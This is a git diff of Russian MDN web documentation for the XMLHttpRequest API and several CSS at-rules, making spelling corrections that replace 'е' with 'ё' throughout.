            Примечание переводчика: в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она еще не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.
            
+
            Примечание переводчика: в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она ещё не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.
            
 
            
 
-
            Если запрос синхронный, то метод вернет значение только после того, как придет запрос от сервера.
            
+
            Если запрос синхронный, то метод вернёт значение только после того, как придёт запрос от сервера.
            
 
 
            Примечание: все необходимые обработчики событий должны быть установлены перед вызовом send().
            
 
@@ -510,7 +510,7 @@ void send(FormData data);
            Вариант метода send() который посылает бинарные данные.
            
 
-
            Примечание: Этот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удален. Взамен может использоваться стандарт метода send(Blob data). 
            
+
            Примечание: Этот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удалён. Взамен может использоваться стандарт метода send(Blob data). 
            void sendAsBinary(
    in DOMString body
diff --git a/files/ru/web/api/xmlhttprequest/response/index.html b/files/ru/web/api/xmlhttprequest/response/index.html
index 383596f34d..7c07373f4f 100644
--- a/files/ru/web/api/xmlhttprequest/response/index.html
+++ b/files/ru/web/api/xmlhttprequest/response/index.html
@@ -20,9 +20,9 @@ translation_of: Web/API/XMLHttpRequest/response
 
 
             
            
 
-
            Соответствующий объект, основанный на значении responseType. Вы можете попытаться запросить данные в определенном формате, установив значение responseType после вызова open() для инициализации запроса, но перед вызовом send() для отправки запроса на сервер.
            
+
            Соответствующий объект, основанный на значении responseType. Вы можете попытаться запросить данные в определённом формате, установив значение responseType после вызова open() для инициализации запроса, но перед вызовом send() для отправки запроса на сервер.
            
 
-
            Значение равно null, если запрос еще не завершен или был неудачным, за исключением того, что при чтении текстовых данных с использованием responseType "text" или пустой строки (""), ответ может содержать ответ до тех пор, пока запрос все еще находится в состоянии LOADING readyState (3).
            
+
            Значение равно null, если запрос ещё не завершён или был неудачным, за исключением того, что при чтении текстовых данных с использованием responseType "text" или пустой строки (""), ответ может содержать ответ до тех пор, пока запрос все ещё находится в состоянии LOADING readyState (3).
            
 
 
            Типы ответов описаны ниже.
            
 
@@ -58,7 +58,7 @@ translation_of: Web/API/XMLHttpRequest/response
   
            
-   
+   
@@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/response
   
-   
+   
            
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
   
            
    AbortErrorЗапрос был отменен (используя {{domxref("AbortController.abort()")}}).Запрос был отменён (используя {{domxref("AbortController.abort()")}}).
   
            
   
            
    TypeError
 
 
 
 
 
 
 
 
 
 
 
 
 
 
    Function?
    
-    
            Callback - функция, которая вызывается всякий раз, когда поле readyState меняет свое значение. Callback выполняется в потоке работы приложения.
            
+    
            Callback - функция, которая вызывается всякий раз, когда поле readyState меняет своё значение. Callback выполняется в потоке работы приложения.
            
 
     
            Внимание: Он не должен использоваться в синхронных запросах, и не должен выполняться из нативного кода (? must not be used from native code).
            
    
            
        0
        UNSENTКлиент создан. Метод open() еще не вызван.Клиент создан. Метод open() ещё не вызван.
       
            
       
            
        1response
    varies
    
-    
            Тело сущности запроса. Согласно полю responseType, может быть ArrayBuffer, Blob, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно null если запрос не завершен или окончен с ошибкой.
            
+    
            Тело сущности запроса. Согласно полю responseType, может быть ArrayBuffer, Blob, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно null если запрос не завершён или окончен с ошибкой.
            
                		
   
            
   
            
    responseText {{ReadOnlyInline()}}
    DOMStringОтвет на запрос в виде строки или null в случае если запрос не успешен или ответ еще не получен.Ответ на запрос в виде строки или null в случае если запрос не успешен или ответ ещё не получен.
   
            
   
            
    responseType
            
       
            
        "json"JavaScript объект, полученный путем парсинга JSON строки, полученной с сервера.JavaScript объект, полученный путём парсинга JSON строки, полученной с сервера.
       
            
       
            
        "text"timeout
    unsigned long
    
-    
            Время в миллисекундах, после которого запрос будет отменен. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.
            
+    
            Время в миллисекундах, после которого запрос будет отменён. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.
            
 
     
            Примечание: Вы можете не использовать поле timeout для синхронных запросов из owning window.
            
                		
 
 
 
 
 
 
            
   
            
    "json"response является JavaScript object, созданный путем анализа содержимого полученных данных как JSON.response является JavaScript object, созданный путём анализа содержимого полученных данных как JSON.
   
            
   
            
    "text"
            
   
            
    "ms-stream" response является частью потоковой загрузки; этот тип ответа разрешен только для запросов на загрузку и поддерживается только Internet Explorer.response является частью потоковой загрузки; этот тип ответа разрешён только для запросов на загрузку и поддерживается только Internet Explorer.
   
            
              
 
            
@@ -89,7 +89,7 @@ translation_of: Web/API/XMLHttpRequest/response
 
 
             
            
 
-
            В этом примере представлена функция load(), которая загружает и обрабатывает страницу с сервера. Он работает путем создания объекта XMLHttpRequest и создания обработчика события с событием readystatechange, чтобы при изменении readyState на DONE (4) response получался и передавался в колбэк-функцию, предоставляемую load().
            
+
            В этом примере представлена функция load(), которая загружает и обрабатывает страницу с сервера. Он работает путём создания объекта XMLHttpRequest и создания обработчика события с событием readystatechange, чтобы при изменении readyState на DONE (4) response получался и передавался в колбэк-функцию, предоставляемую load().
            
 
 
            Содержимое обрабатывается как необработанные текстовые данные (поскольку здесь ничто не переопределяет responseType по умолчанию).
            
 
diff --git a/files/ru/web/api/xmlhttprequest/responsetext/index.html b/files/ru/web/api/xmlhttprequest/responsetext/index.html
index 67421dc290..d80a4572c0 100644
--- a/files/ru/web/api/xmlhttprequest/responsetext/index.html
+++ b/files/ru/web/api/xmlhttprequest/responsetext/index.html
@@ -15,9 +15,9 @@ translation_of: Web/API/XMLHttpRequest/responseText
 
 
            Значение
            
 
-
            Строка {{domxref("DOMString")}} содержащая либо текстовые данные, полученные при использовании XMLHttpRequest, либо null в случае, когда вопрос возвратил ошибку, или же еще не был  отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.
            
+
            Строка {{domxref("DOMString")}} содержащая либо текстовые данные, полученные при использовании XMLHttpRequest, либо null в случае, когда вопрос возвратил ошибку, или же ещё не был  отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.
            
 
-
            Во время выполнения асинхронных запросов, в значении responseText всегда находится текущее содержимое, полученное от сервера, даже если запрос еще не завершен, и данные от сервера не получены полностью.
            
+
            Во время выполнения асинхронных запросов, в значении responseText всегда находится текущее содержимое, полученное от сервера, даже если запрос ещё не завершён, и данные от сервера не получены полностью.
            
 
 
            Понять, что ответ получен полностью, можно когда значение {{domxref("XMLHttpRequest.readyState", "readyState")}} становится {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (4), а значение {{domxref("XMLHttpRequest.status", "status")}} становится 200 ("OK").
            
 
diff --git a/files/ru/web/api/xmlhttprequest/responsetype/index.html b/files/ru/web/api/xmlhttprequest/responsetype/index.html
index 91e38522bf..80d5b3bf9f 100644
--- a/files/ru/web/api/xmlhttprequest/responsetype/index.html
+++ b/files/ru/web/api/xmlhttprequest/responsetype/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseType
 ---
 
            {{APIRef('XMLHttpRequest')}}
            
 
-
            XMLHttpRequest.responseType Свойство является перечислимым значением, которое возвращает тип ответа. Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию text. Установка значения responseType в «document» игнорируется, если выполняется в  рабочей среде. При настройке responseType на определенное значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным responseType, значение response будет null. Кроме того, установка responseType для синхронных запросов вызовет исключение InvalidAccessError.
            
+
            XMLHttpRequest.responseType Свойство является перечислимым значением, которое возвращает тип ответа. Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию text. Установка значения responseType в «document» игнорируется, если выполняется в  рабочей среде. При настройке responseType на определённое значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным responseType, значение response будет null. Кроме того, установка responseType для синхронных запросов вызовет исключение InvalidAccessError.
            
 
 
            Поддерживаемые значения responseType:
            
 
diff --git a/files/ru/web/api/xmlhttprequest/responseurl/index.html b/files/ru/web/api/xmlhttprequest/responseurl/index.html
index ed61b3451b..635d27ddc1 100644
--- a/files/ru/web/api/xmlhttprequest/responseurl/index.html
+++ b/files/ru/web/api/xmlhttprequest/responseurl/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseURL
 ---
 
            {{APIRef('XMLHttpRequest')}}
            
 
-
            Свойство XMLHttpRequest.responseURL доступно только для чтения, возвращает сериализованный URL ответа или пустую строку,  если URL равен null. Если URL возвращен, любой URL фрагмент в URL будет стерт. Значение responseURL станет окончательным URL, получаемым после любых редиректов.
            
+
            Свойство XMLHttpRequest.responseURL доступно только для чтения, возвращает сериализованный URL ответа или пустую строку,  если URL равен null. Если URL возвращён, любой URL фрагмент в URL будет стёрт. Значение responseURL станет окончательным URL, получаемым после любых редиректов.
            
 
 
            Пример
            
 
diff --git a/files/ru/web/api/xmlhttprequest/send/index.html b/files/ru/web/api/xmlhttprequest/send/index.html
index a7c82474a7..34736d0716 100644
--- a/files/ru/web/api/xmlhttprequest/send/index.html
+++ b/files/ru/web/api/xmlhttprequest/send/index.html
@@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/send
 xhr.open('GET', '/server', true);
 
 xhr.onload = function () {
-  // Запрос завершен. Здесь можно обрабатывать результат.
+  // Запрос завершён. Здесь можно обрабатывать результат.
 };
 
 xhr.send(null);
@@ -94,12 +94,12 @@ xhr.send(null);
 
            var xhr = new XMLHttpRequest();
 xhr.open("POST", '/server', true);
 
-//Передает правильный заголовок в запросе
+//Передаёт правильный заголовок в запросе
 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
 
 xhr.onreadystatechange = function() {//Вызывает функцию при смене состояния.
     if(xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
-        // Запрос завершен. Здесь можно обрабатывать результат.
+        // Запрос завершён. Здесь можно обрабатывать результат.
     }
 }
 xhr.send("foo=bar&lorem=ipsum");
diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
index 527dfe1f5a..454bc054db 100644
--- a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
+++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
@@ -5,9 +5,9 @@ translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
 ---
 
            Получение бинарных данных используя JavaScript arrays 
            
 
-
            Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершен или не был успешным.
            
+
            Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершён или не был успешным.
            
 
-
            В этом примере изображение считывается как двоичный файл и создается 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится библиотека декодирования png.
            
+
            В этом примере изображение считывается как двоичный файл и создаётся 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится библиотека декодирования png.
            
 
 
            var oReq = new XMLHttpRequest();
 oReq.open("GET", "/myfile.png", true);
@@ -90,9 +90,9 @@ var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte (
 
 
            Отправка бинарных данных
            
 
-
            Метод send объекта XMLHttpRequest был расширен, чтобы обеспечить легкую передачу бинарных данных - теперь он принимает объекты ArrayBuffer, {{domxref("Blob")}}, или {{domxref("File")}}.
            
+
            Метод send объекта XMLHttpRequest был расширен, чтобы обеспечить лёгкую передачу бинарных данных - теперь он принимает объекты ArrayBuffer, {{domxref("Blob")}}, или {{domxref("File")}}.
            
 
-
            В примере ниже на лету создается текстовый файл и отправляется методом POST на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.
            
+
            В примере ниже на лету создаётся текстовый файл и отправляется методом POST на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.
            
 
 
            var oReq = new XMLHttpRequest();
 oReq.open("POST", url, true);
@@ -121,7 +121,7 @@ xhr.open("POST", url, false);
 xhr.send(myArray);
 
            
 
-
            Здесь создается и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.
            
+
            Здесь создаётся и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.
            
 
 
            Примечание: Поддержка передачи объектов ArrayBuffer с помощью XMLHttpRequest появилась в Gecko 9.0 {{geckoRelease("9.0")}}. Add information about other browsers' support here.
            
 
@@ -144,7 +144,7 @@ req.sendAsBinary(aBody);
 
 
            В строке 5 метод sendAsBinary() начинает запрос.
            
 
-
            Примечание: Нестандартный метод sendAsBinary начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удален. Вместо него, как показывалось выше, можно использовать стандартный метод send(Blob data).
            
+
            Примечание: Нестандартный метод sendAsBinary начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удалён. Вместо него, как показывалось выше, можно использовать стандартный метод send(Blob data).
            
 
 
            Кроме того, чтобы отправить бинарные данные можно передать экземпляр {{interface("nsIFileInputStream")}} в метод send(). В этом случае заголовок Content-Length заполнять явно необязательно, поскольку информация получается из потока автоматически:
            
 
diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
index 4304530ac7..0a7d0f9cf4 100644
--- a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
+++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
@@ -226,7 +226,7 @@ The second line.
 
 
            Небольшой классический фреймворк
            
 
-
            Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придется проинструктировать интерпретатор обо всех выполняемых операциях. Для, того чтобы отправлять формы с помощью чистого AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь полный(но все еще дидактический) фреймворк, который все же способен использовать все четыре способа отправки и, так же поддерживает файловую загрузку.
            
+
            Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придётся проинструктировать интерпретатор обо всех выполняемых операциях. Для, того чтобы отправлять формы с помощью чистого AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь полный(но все ещё дидактический) фреймворк, который все же способен использовать все четыре способа отправки и, так же поддерживает файловую загрузку.
            
 
 
            
 
            <!doctype html>
diff --git a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
index 53fb283a75..bcd89a4530 100644
--- a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
+++ b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
@@ -43,9 +43,9 @@ translation_of: Web/API/XMLHttpRequest/XMLHttpRequest
  
            Существует два флага, которые можно установить:
  
            
   
            mozAnon
            
-  
            Boolean: Установка этого флага в значение true приведет к тому, что браузер не будет раскрывать {{Glossary("origin")}} и учётные данные пользователя при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.
            
+  
            Boolean: Установка этого флага в значение true приведёт к тому, что браузер не будет раскрывать {{Glossary("origin")}} и учётные данные пользователя при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.
            
   
            mozSystem
            
-  
            Boolean: Установка этого флага в значение true позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. Требует установки флага mozAnon: true, т.к. это нельзя сочетать с отправкой файлов cookie или других учетных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}}));  не работает на произвольных веб-страницах, загруженных в Firefox.
            
+  
            Boolean: Установка этого флага в значение true позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. Требует установки флага mozAnon: true, т.к. это нельзя сочетать с отправкой файлов cookie или других учётных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}}));  не работает на произвольных веб-страницах, загруженных в Firefox.
            
  
            
  
            
 
diff --git a/files/ru/web/api/xmlserializer/index.html b/files/ru/web/api/xmlserializer/index.html
index 7df04c7f6d..9e8823e80c 100644
--- a/files/ru/web/api/xmlserializer/index.html
+++ b/files/ru/web/api/xmlserializer/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/XMLSerializer
  
            XMLSerializer.serializeToString()
            
  
            Возвращает сериализованное дерево или ветку в виде строки
            
  
            XMLSerializer.serializeToStream() {{ non-standard_inline() }}{{ deprecated_inline() }}
            
- 
            Поддерево, обернутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.
            
+ 
            Поддерево, обёрнутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.
            
 
 
 
            Примеры
            
diff --git a/files/ru/web/css/@counter-style/additive-symbols/index.html b/files/ru/web/css/@counter-style/additive-symbols/index.html
index c8781e4d40..4ea2a2dc87 100644
--- a/files/ru/web/css/@counter-style/additive-symbols/index.html
+++ b/files/ru/web/css/@counter-style/additive-symbols/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/@counter-style/additive-symbols
 ---
 
            Описание
            
 
-
            Дескриптор аддитивных символов аналогичен дескриптору  {{cssxref('symbols')}} и позволяет пользователю указывать символы которые будут использоваться для представлений счетчика, когда значение дескриптора {{cssxref('system')}}  аддитивное. Дескриптор additive-symbols определяет так называемые аддитивные кортежи, каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес. Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.
            
+
            Дескриптор аддитивных символов аналогичен дескриптору  {{cssxref('symbols')}} и позволяет пользователю указывать символы которые будут использоваться для представлений счётчика, когда значение дескриптора {{cssxref('system')}}  аддитивное. Дескриптор additive-symbols определяет так называемые аддитивные кортежи, каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес. Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.
            
 
 
            Когда значение системного дескриптора является циклическим, числовым, буквенным, символическим или фиксированным, дескриптор symbols используется вместо аддитивных символов для указания символов счетчика.
            
 
diff --git a/files/ru/web/css/@font-face/font-display/index.html b/files/ru/web/css/@font-face/font-display/index.html
index 603b7a8a66..e1466f1b1a 100644
--- a/files/ru/web/css/@font-face/font-display/index.html
+++ b/files/ru/web/css/@font-face/font-display/index.html
@@ -7,11 +7,11 @@ translation_of: Web/CSS/@font-face/font-display
 
 
            Описание
            
 
-
            Дескриптор font-display определяет то, как шрифт, подключенный через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.
            
+
            Дескриптор font-display определяет то, как шрифт, подключённый через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.
            
 
 
            Временная шкала отображения шрифтов
            
 
-
            Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта.  Эта временная шкала разделена на три отрезка, приведенных ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.
            
+
            Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта.  Эта временная шкала разделена на три отрезка, приведённых ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.
            
 
 
            
  
            Период блокировки шрифта (Font block period)
            
@@ -39,13 +39,13 @@ font-display: optional;
            
  
            auto
            
  
            Стратегию загрузки шрифта определяет пользовательский агент.
            
  
            block
            
- 
            Для шрифта задается короткий период блокировки и бесконечный период подмены.
            
+ 
            Для шрифта задаётся короткий период блокировки и бесконечный период подмены.
            
  
            swap
            
- 
            Для шрифта не задается период блокировки и задается бесконечный период подмены.
            
+ 
            Для шрифта не задаётся период блокировки и задаётся бесконечный период подмены.
            
  
            fallback
            
- 
            Для шрифта задается очень короткий период блокировки и короткий период подмены.
            
+ 
            Для шрифта задаётся очень короткий период блокировки и короткий период подмены.
            
  
            optional
            
- 
            Для шрифта задается очень короткий период блокировки и не задается период подмены.
            
+ 
            Для шрифта задаётся очень короткий период блокировки и не задаётся период подмены.
            
 
 
 
            Официальный синтаксис
            
diff --git a/files/ru/web/css/@font-face/index.html b/files/ru/web/css/@font-face/index.html
index 6382b864b4..b638ecc425 100644
--- a/files/ru/web/css/@font-face/index.html
+++ b/files/ru/web/css/@font-face/index.html
@@ -11,7 +11,7 @@ tags:
   - типографика
 translation_of: Web/CSS/@font-face
 ---
-
            @font-face CSS @-правило позволяет указать шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удаленного сервера, либо с компьютера пользователя. Если в правиле была объявлена функция local(), с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции url().
            
+
            @font-face CSS @-правило позволяет указать шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удалённого сервера, либо с компьютера пользователя. Если в правиле была объявлена функция local(), с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции url().
            
 
 
             
            
 
@@ -19,7 +19,7 @@ translation_of: Web/CSS/@font-face
 
 
             
            
 
-
            Распространенным случаем является одновременное использование url() и local(), чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.
            
+
            Распространённым случаем является одновременное использование url() и local(), чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.
            
 
 
             
            
 
@@ -56,7 +56,7 @@ translation_of: Web/CSS/@font-face
  
            {{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}
            
  
            Позволяет осуществлять низкоуровневый контроль над вариациями OpenType и TrueType шрифтов, указывая четырёхбуквенные названия осей для изменения вместе с их значениями.
            
  
            {{cssxref("@font-face/src", "src")}}
            
- 
            Задает ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удаленного файла шрифта или имя шрифта на компьютере пользователя.
            
+ 
            Задаёт ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удалённого файла шрифта или имя шрифта на компьютере пользователя.
            
  
            
  Чтобы дать браузеру возможность выбрать наиболее подходящий формат шрифта, его можно указать при объявлении внутри функции format():
            
 
diff --git a/files/ru/web/css/@font-feature-values/index.html b/files/ru/web/css/@font-feature-values/index.html
index d04e91a2d0..7a122d3ad6 100644
--- a/files/ru/web/css/@font-feature-values/index.html
+++ b/files/ru/web/css/@font-feature-values/index.html
@@ -29,7 +29,7 @@ translation_of: Web/CSS/@font-feature-values
 }
 
            
 
-
            Правило @font-feature-values может использоваться как на вернем уровне вашего CSS так и внутри любого условного CSS правила.
            
+
            Правило @font-feature-values может использоваться как на вернём уровне вашего CSS так и внутри любого условного CSS правила.
            
 
 
            Синтаксис
            
 
@@ -84,5 +84,5 @@ translation_of: Web/CSS/@font-feature-values
 
            Смотрите также
            
 
 
              
- 
            • Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определенные этим правилом.
              • 
+ 
            • Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определённые этим правилом.
              • 
 
            
diff --git a/files/ru/web/css/@media/inverted-colors/index.html b/files/ru/web/css/@media/inverted-colors/index.html
index f56c90108b..123d6d7eeb 100644
--- a/files/ru/web/css/@media/inverted-colors/index.html
+++ b/files/ru/web/css/@media/inverted-colors/index.html
@@ -30,7 +30,7 @@ translation_of: Web/CSS/@media/inverted-colors
 
 
            HTML
            
 
-
            <p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия желтого по черному). Если нет, он должен быть красным на светло-сером.</p>
+
            <p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия жёлтого по чёрному). Если нет, он должен быть красным на светло-сером.</p>
 <p>Если текст серого цвета, ваш браузер не поддерживает медиа-функцию `inverted-colors`.</p>
            
 
 
            CSS
            
diff --git a/files/ru/web/css/@media/orientation/index.html b/files/ru/web/css/@media/orientation/index.html
index 723c964b8f..055dffc88d 100644
--- a/files/ru/web/css/@media/orientation/index.html
+++ b/files/ru/web/css/@media/orientation/index.html
@@ -8,7 +8,7 @@ translation_of: Web/CSS/@media/orientation
 
            CSS медиа-функции orientation может использоваться для проверки ориентации области {{glossary("просмотра")}} (или поля страницы для медийных страниц).
            
 
 
            
-
            Примечание: Эта функция не соответствует ориентации устройства. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведет к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.
            
+
            Примечание: Эта функция не соответствует ориентации устройства. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведёт к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.
            
 
            
 
 
            Синтаксис
            
diff --git a/files/ru/web/css/@page/index.html b/files/ru/web/css/@page/index.html
index d61e6d2ca3..04daa7d53e 100644
--- a/files/ru/web/css/@page/index.html
+++ b/files/ru/web/css/@page/index.html
@@ -2,7 +2,7 @@
 title: '@page'
 slug: Web/CSS/@page
 tags:
-  - Верстка
+  - Вёрстка
   - печать
   - страница
 translation_of: Web/CSS/@page
@@ -99,5 +99,5 @@ translation_of: Web/CSS/@page
 
            Смотрите также
            
 
 
              
- 
            • Смотрите тикет [META] CSS Paged Media Module Level 3 в Bugzilla для отслеживания прогресса по теме (базовый страничный счетчик, и т.д.)
              • 
+ 
            • Смотрите тикет [META] CSS Paged Media Module Level 3 в Bugzilla для отслеживания прогресса по теме (базовый страничный счётчик, и т.д.)
              • 
 
            
diff --git a/files/ru/web/css/@viewport/index.html b/files/ru/web/css/@viewport/index.html
index 56ee461658..cbbaf38b69 100644
--- a/files/ru/web/css/@viewport/index.html
+++ b/files/ru/web/css/@viewport/index.html
@@ -16,7 +16,7 @@ translation_of: Web/CSS/@viewport
 
 
            Кратко
            
 
-
            @viewport CSS at-rule содержит набор вложенных дескрипторов в блоке CSS, который разделен фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.
            
+
            @viewport CSS at-rule содержит набор вложенных дескрипторов в блоке CSS, который разделён фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.
            
 
 
            Синтаксис
            
 
@@ -32,13 +32,13 @@ translation_of: Web/CSS/@viewport
  
            max-width
            
  
            Используется при определении ширины видового экрана при первом отображении документа.
            
  
            width
            
- 
            Сокращенный дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).
            
+ 
            Сокращённый дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).
            
  
            min-height
            
  
            Используется при определении высоты видового экрана при первом отображении документа.
            
  
            max-height
            
  
            Используется при определении высоты видового экрана при первом отображении документа.
            
  
            height
            
- 
            Сокращенный дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).
            
+ 
            Сокращённый дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).
            
  
            zoom
            
  
            Устанавливает начальный коэффициент масштабирования.
            
  
            min-zoom
            
diff --git a/files/ru/web/css/_colon_-moz-focusring/index.html b/files/ru/web/css/_colon_-moz-focusring/index.html
index 872ef81e58..c194469e7a 100644
--- a/files/ru/web/css/_colon_-moz-focusring/index.html
+++ b/files/ru/web/css/_colon_-moz-focusring/index.html
@@ -33,7 +33,7 @@ translation_of: 'Web/CSS/:-moz-focusring'
 
 
            Спецификации
            
 
-
            Этот псевдокласс пока еще не определен ни в одной спецификации, хотя и прошел этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.
            
+
            Этот псевдокласс пока ещё не определён ни в одной спецификации, хотя и прошёл этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.
            
 
 
            Совместимость с браузерами
            
 
diff --git a/files/ru/web/css/_colon_-moz-only-whitespace/index.html b/files/ru/web/css/_colon_-moz-only-whitespace/index.html
index 48c095accb..83a7a93462 100644
--- a/files/ru/web/css/_colon_-moz-only-whitespace/index.html
+++ b/files/ru/web/css/_colon_-moz-only-whitespace/index.html
@@ -72,7 +72,7 @@ div {
   
    {{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}
    {{Spec2("CSS4 Selectors")}}
-   Определен впервые
+   Определён впервые
   
  
 
diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html
index 95ede05087..839d8323c6 100644
--- a/files/ru/web/css/_colon_any-link/index.html
+++ b/files/ru/web/css/_colon_any-link/index.html
@@ -5,7 +5,7 @@ tags:
   - ':any-link'
   - CSS
   - Web
-  - Верстка
+  - Вёрстка
